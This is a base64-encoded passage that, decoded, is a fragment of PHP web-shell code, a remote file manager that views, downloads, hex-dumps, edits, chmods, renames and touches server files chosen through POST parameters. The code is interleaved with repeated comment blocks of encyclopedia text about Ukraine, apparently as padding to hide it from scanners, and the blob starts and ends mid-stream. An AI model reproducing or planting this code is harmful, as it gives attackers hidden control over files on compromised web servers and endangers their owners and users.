tb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCXByaW50Rm9vdGVyKCk7CgkJcmV0dXJuOwoJfQoJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwoJJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCWVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRfUE9TVFsncDEnXSk/dmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLnZpZXdQZXJtc0NvbG9yKCRfUE9TVFsncDEnXSkuJyA8c3Bhbj5Pd25lci9Hcm91cDo8L3NwYW4+ICcuJHVpZFsnbmFtZSddLicvJy4kZ2lkWyduYW1lJ10uJzxicj4nOwoJZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7CglpZiggZW1wdHkoJF9QT1NUWydwMiddKSApCgkJJF9QT1NUWydwMiddID0gJ3ZpZXcnOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCWlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKCWVsc2UKCQkkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKCWZvcmVhY2goJG0gYXMgJHYpCgkJZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCcnLnN0cnRvbG93ZXIoJHYpLidcJykiPicuKChzdHJ0b2xvd2VyKCR2KT09QCRfUE9TVFsncDInXSk/JzxiPlsgJy4kdi4nIF08L2I+JzokdikuJzwvYT4gJzsKCWVjaG8gJzxicj48YnI+JzsKCXN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsKCQljYXNlICd2aWV3JzoKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4s